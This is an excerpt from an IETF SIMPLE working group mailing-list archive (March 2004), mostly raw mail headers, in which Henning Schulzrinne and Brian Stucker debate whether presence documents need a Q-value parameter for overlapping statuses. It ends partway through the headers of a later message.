	id 1AyPHa-0001mn-Nt; Wed, 03 Mar 2004 00:51:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPGh-0001RM-LJ
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:50:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03697
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:50:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPGe-00010e-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:50:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPFf-0000rA-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:49:04 -0500
Received: from brazilnut.cc.columbia.edu ([128.59.59.203] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPEg-0000bT-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:48:02 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by brazilnut.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i235ljsh017610
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 00:47:47 -0500 (EST)
Message-ID: <40457187.5050005@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Stucker <bstucker@nortelnetworks.com>
CC: Paul Kyzivat <pkyzivat@cisco.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECECC@zrc2c012.us.nortel.com>
In-Reply-To: <161AA64DA85DFC4BA4D2EB5629B5975304EECECC@zrc2c012.us.nortel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 00:47:51 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

I'm wary of over-engineering this problem and trying to use parameters 
to deal with the messiness and uncertainties of real life. It seems like 
calendaring programs simply display all the information, possibly using 
shading or layout to indicate such overlap, and let the user figure out 
that there is indeed uncertainty. I don't see how adding a parameter 
adds more than complexity.

Brian Stucker wrote:

> I would agree with Henning on this. However, this does give rise to 
> non-deterministic information. What would the renderer of this 
> information wind up showing? In the case of overlapping statuses, do we 
> need to provide the ability (but not necessarily the requirement that it 
> be used) to put something of a Q value along with the status. If no Q 
> value is provided, the render can do whatever it wants... display 
> everything, the first one, the last one, or whatever (because there's no 
> indication as to which one is "better" than the other).
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 00:59:25 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04378
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 00:59:25 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPPi-0002mt-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 00:59:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPOb-0002UW-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 00:58:19 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPMP-0001qF-00; Wed, 03 Mar 2004 00:56:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPMP-0002KG-S2; Wed, 03 Mar 2004 00:56:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPLn-0002FE-GM
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:55:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03933
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:55:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPLk-0001j7-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:55:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPKW-0001Xs-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:54:05 -0500
Received: from [47.81.138.65] (helo=zsc3s004.nortelnetworks.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPJc-0001Jh-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:53:08 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zsc3s004.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i235qGQ08206;
	Tue, 2 Mar 2004 21:52:16 -0800 (PST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS34PV3K>; Tue, 2 Mar 2004 23:52:17 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECECD@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>
Cc: Paul Kyzivat <pkyzivat@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400E3.ADD774F2"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 23:52:16 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,HTML_20_30,HTML_MESSAGE 
	autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400E3.ADD774F2
Content-Type: text/plain;
	charset="iso-8859-1"

I'm thinking about the case where you have a limited display form-factor,
where you can't easily display both. Is this really adding that much
complexity? I'm not suggesting that it MUST or even SHOULD be used, but MAY
be used.

Regards,

Brian

-----Original Message-----
From: Henning Schulzrinne [mailto:hgs@cs.columbia.edu]
Sent: Tuesday, March 02, 2004 11:48 PM
To: Stucker, Brian [NGC:B617:EXCH]
Cc: Paul Kyzivat; Jonathan Rosenberg; Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future


I'm wary of over-engineering this problem and trying to use parameters 
to deal with the messiness and uncertainties of real life. It seems like 
calendaring programs simply display all the information, possibly using 
shading or layout to indicate such overlap, and let the user figure out 
that there is indeed uncertainty. I don't see how adding a parameter 
adds more than complexity.

Brian Stucker wrote:

> I would agree with Henning on this. However, this does give rise to 
> non-deterministic information. What would the renderer of this 
> information wind up showing? In the case of overlapping statuses, do we 
> need to provide the ability (but not necessarily the requirement that it 
> be used) to put something of a Q value along with the status. If no Q 
> value is provided, the render can do whatever it wants... display 
> everything, the first one, the last one, or whatever (because there's no 
> indication as to which one is "better" than the other).
> 


------_=_NextPart_001_01C400E3.ADD774F2
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I'm thinking about the case where you have a limited =
display form-factor, where you can't easily display both. Is this =
really adding that much complexity? I'm not suggesting that it MUST or =
even SHOULD be used, but MAY be used.</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Henning Schulzrinne [<A =
HREF=3D"mailto:hgs@cs.columbia.edu">mailto:hgs@cs.columbia.edu</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Tuesday, March 02, 2004 11:48 PM</FONT>
<BR><FONT SIZE=3D2>To: Stucker, Brian [NGC:B617:EXCH]</FONT>
<BR><FONT SIZE=3D2>Cc: Paul Kyzivat; Jonathan Rosenberg; Simple =
WG</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [Simple] Comments on =
draft-ietf-simple-future</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>I'm wary of over-engineering this problem and trying =
to use parameters </FONT>
<BR><FONT SIZE=3D2>to deal with the messiness and uncertainties of real =
life. It seems like </FONT>
<BR><FONT SIZE=3D2>calendaring programs simply display all the =
information, possibly using </FONT>
<BR><FONT SIZE=3D2>shading or layout to indicate such overlap, and let =
the user figure out </FONT>
<BR><FONT SIZE=3D2>that there is indeed uncertainty. I don't see how =
adding a parameter </FONT>
<BR><FONT SIZE=3D2>adds more than complexity.</FONT>
</P>

<P><FONT SIZE=3D2>Brian Stucker wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I would agree with Henning on this. However, =
this does give rise to </FONT>
<BR><FONT SIZE=3D2>&gt; non-deterministic information. What would the =
renderer of this </FONT>
<BR><FONT SIZE=3D2>&gt; information wind up showing? In the case of =
overlapping statuses, do we </FONT>
<BR><FONT SIZE=3D2>&gt; need to provide the ability (but not =
necessarily the requirement that it </FONT>
<BR><FONT SIZE=3D2>&gt; be used) to put something of a Q value along =
with the status. If no Q </FONT>
<BR><FONT SIZE=3D2>&gt; value is provided, the render can do whatever =
it wants... display </FONT>
<BR><FONT SIZE=3D2>&gt; everything, the first one, the last one, or =
whatever (because there's no </FONT>
<BR><FONT SIZE=3D2>&gt; indication as to which one is =
&quot;better&quot; than the other).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C400E3.ADD774F2--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 00:59:57 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04412
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 00:59:56 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPPm-0003OC-KT
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 00:59:30 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i235xU0s013021
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 00:59:30 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPPm-0003Nv-G6
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 00:59:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04395
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 00:59:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPPj-0002my-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 00:59:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPOd-0002Ut-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 00:58:21 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPMP-0001qF-00; Wed, 03 Mar 2004 00:56:01 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPMP-0002KG-S2; Wed, 03 Mar 2004 00:56:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPLn-0002FE-GM
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:55:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA03933
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:55:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPLk-0001j7-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:55:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPKW-0001Xs-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:54:05 -0500
Received: from [47.81.138.65] (helo=zsc3s004.nortelnetworks.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPJc-0001Jh-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:53:08 -0500
Received: from zrc2c011.us.nortel.com (zrc2c011.us.nortel.com [47.103.120.51])
	by zsc3s004.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id i235qGQ08206;
	Tue, 2 Mar 2004 21:52:16 -0800 (PST)
Received: by zrc2c011.us.nortel.com with Internet Mail Service (5.5.2653.19)
	id <FS34PV3K>; Tue, 2 Mar 2004 23:52:17 -0600
Message-ID: <161AA64DA85DFC4BA4D2EB5629B5975304EECECD@zrc2c012.us.nortel.com>
From: "Brian Stucker" <bstucker@nortelnetworks.com>
To: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>
Cc: Paul Kyzivat <pkyzivat@cisco.com>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: RE: [Simple] Comments on draft-ietf-simple-future
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400E3.ADD774F2"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Tue, 2 Mar 2004 23:52:16 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.5 required=5.0 tests=AWL,HTML_20_30,HTML_MESSAGE 
	autolearn=no version=2.60

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C400E3.ADD774F2
Content-Type: text/plain;
	charset="iso-8859-1"

I'm thinking about the case where you have a limited display form-factor,
where you can't easily display both. Is this really adding that much
complexity? I'm not suggesting that it MUST or even SHOULD be used, but MAY
be used.

Regards,

Brian

-----Original Message-----
From: Henning Schulzrinne [mailto:hgs@cs.columbia.edu]
Sent: Tuesday, March 02, 2004 11:48 PM
To: Stucker, Brian [NGC:B617:EXCH]
Cc: Paul Kyzivat; Jonathan Rosenberg; Simple WG
Subject: Re: [Simple] Comments on draft-ietf-simple-future


I'm wary of over-engineering this problem and trying to use parameters 
to deal with the messiness and uncertainties of real life. It seems like 
calendaring programs simply display all the information, possibly using 
shading or layout to indicate such overlap, and let the user figure out 
that there is indeed uncertainty. I don't see how adding a parameter 
adds more than complexity.

Brian Stucker wrote:

> I would agree with Henning on this. However, this does give rise to 
> non-deterministic information. What would the renderer of this 
> information wind up showing? In the case of overlapping statuses, do we 
> need to provide the ability (but not necessarily the requirement that it 
> be used) to put something of a Q value along with the status. If no Q 
> value is provided, the render can do whatever it wants... display 
> everything, the first one, the last one, or whatever (because there's no 
> indication as to which one is "better" than the other).
> 


------_=_NextPart_001_01C400E3.ADD774F2
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2656.31">
<TITLE>RE: [Simple] Comments on draft-ietf-simple-future</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I'm thinking about the case where you have a limited =
display form-factor, where you can't easily display both. Is this =
really adding that much complexity? I'm not suggesting that it MUST or =
even SHOULD be used, but MAY be used.</FONT></P>

<P><FONT SIZE=3D2>Regards,</FONT>
</P>

<P><FONT SIZE=3D2>Brian</FONT>
</P>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Henning Schulzrinne [<A =
HREF=3D"mailto:hgs@cs.columbia.edu">mailto:hgs@cs.columbia.edu</A>]</FON=
T>
<BR><FONT SIZE=3D2>Sent: Tuesday, March 02, 2004 11:48 PM</FONT>
<BR><FONT SIZE=3D2>To: Stucker, Brian [NGC:B617:EXCH]</FONT>
<BR><FONT SIZE=3D2>Cc: Paul Kyzivat; Jonathan Rosenberg; Simple =
WG</FONT>
<BR><FONT SIZE=3D2>Subject: Re: [Simple] Comments on =
draft-ietf-simple-future</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>I'm wary of over-engineering this problem and trying =
to use parameters </FONT>
<BR><FONT SIZE=3D2>to deal with the messiness and uncertainties of real =
life. It seems like </FONT>
<BR><FONT SIZE=3D2>calendaring programs simply display all the =
information, possibly using </FONT>
<BR><FONT SIZE=3D2>shading or layout to indicate such overlap, and let =
the user figure out </FONT>
<BR><FONT SIZE=3D2>that there is indeed uncertainty. I don't see how =
adding a parameter </FONT>
<BR><FONT SIZE=3D2>adds more than complexity.</FONT>
</P>

<P><FONT SIZE=3D2>Brian Stucker wrote:</FONT>
</P>

<P><FONT SIZE=3D2>&gt; I would agree with Henning on this. However, =
this does give rise to </FONT>
<BR><FONT SIZE=3D2>&gt; non-deterministic information. What would the =
renderer of this </FONT>
<BR><FONT SIZE=3D2>&gt; information wind up showing? In the case of =
overlapping statuses, do we </FONT>
<BR><FONT SIZE=3D2>&gt; need to provide the ability (but not =
necessarily the requirement that it </FONT>
<BR><FONT SIZE=3D2>&gt; be used) to put something of a Q value along =
with the status. If no Q </FONT>
<BR><FONT SIZE=3D2>&gt; value is provided, the render can do whatever =
it wants... display </FONT>
<BR><FONT SIZE=3D2>&gt; everything, the first one, the last one, or =
whatever (because there's no </FONT>
<BR><FONT SIZE=3D2>&gt; indication as to which one is =
&quot;better&quot; than the other).</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C400E3.ADD774F2--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 01:02:27 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04635
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 01:02:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPSb-0003TY-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:02:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPRS-0003EP-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:01:14 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPQN-0002y2-00; Wed, 03 Mar 2004 01:00:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPQL-0003Sc-1I; Wed, 03 Mar 2004 01:00:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPPX-0003ME-7k
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:59:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04329
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:59:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPPU-0002kD-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPNs-0002D1-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:57:33 -0500
Received: from jalapeno.cc.columbia.edu ([128.59.59.238] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPL5-0001Zg-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:54:39 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by jalapeno.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i235sblO014482
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 00:54:39 -0500 (EST)
Message-ID: <40457323.1020101@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Stucker <bstucker@nortelnetworks.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECECD@zrc2c012.us.nortel.com>
In-Reply-To: <161AA64DA85DFC4BA4D2EB5629B5975304EECECD@zrc2c012.us.nortel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 00:54:43 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Brian Stucker wrote:

> I'm thinking about the case where you have a limited display 
> form-factor, where you can't easily display both. Is this really adding 
> that much complexity? I'm not suggesting that it MUST or even SHOULD be 
> used, but MAY be used.

I just see no realistic way to add this in most cases. Unless this is 
available in all contexts, the UI has to be able to deal with the case 
where it isn't there.

I'd really like to avoid adding "could be useful" features.

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Wed Mar  3 01:02:28 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04657
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 01:02:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPSc-0003Tl-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:02:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPRT-0003Ee-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:01:16 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPQN-0002y5-00; Wed, 03 Mar 2004 01:00:07 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPQO-0003TA-B0; Wed, 03 Mar 2004 01:00:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPPb-0003Mz-Fz
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 00:59:19 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04346
	for <simple@ietf.org>; Wed, 3 Mar 2004 00:59:15 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPPY-0002l2-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:16 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPO1-0002HY-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:57:43 -0500
Received: from mgw-x3.nokia.com ([131.228.20.26])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPLY-0001gk-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:55:08 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x3.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i235t3S28041;
	Wed, 3 Mar 2004 07:55:03 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 07:54:47 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i235slcG008563;
	Wed, 3 Mar 2004 07:54:47 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00Y6o2JD; Wed, 03 Mar 2004 07:54:46 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i235sj707452;
	Wed, 3 Mar 2004 07:54:45 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 07:54:44 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="UTF-8"
Content-Transfer-Encoding: base64
Subject: RE: [Simple] RE: Advanced IM requirements
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB70179781F@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] RE: Advanced IM requirements
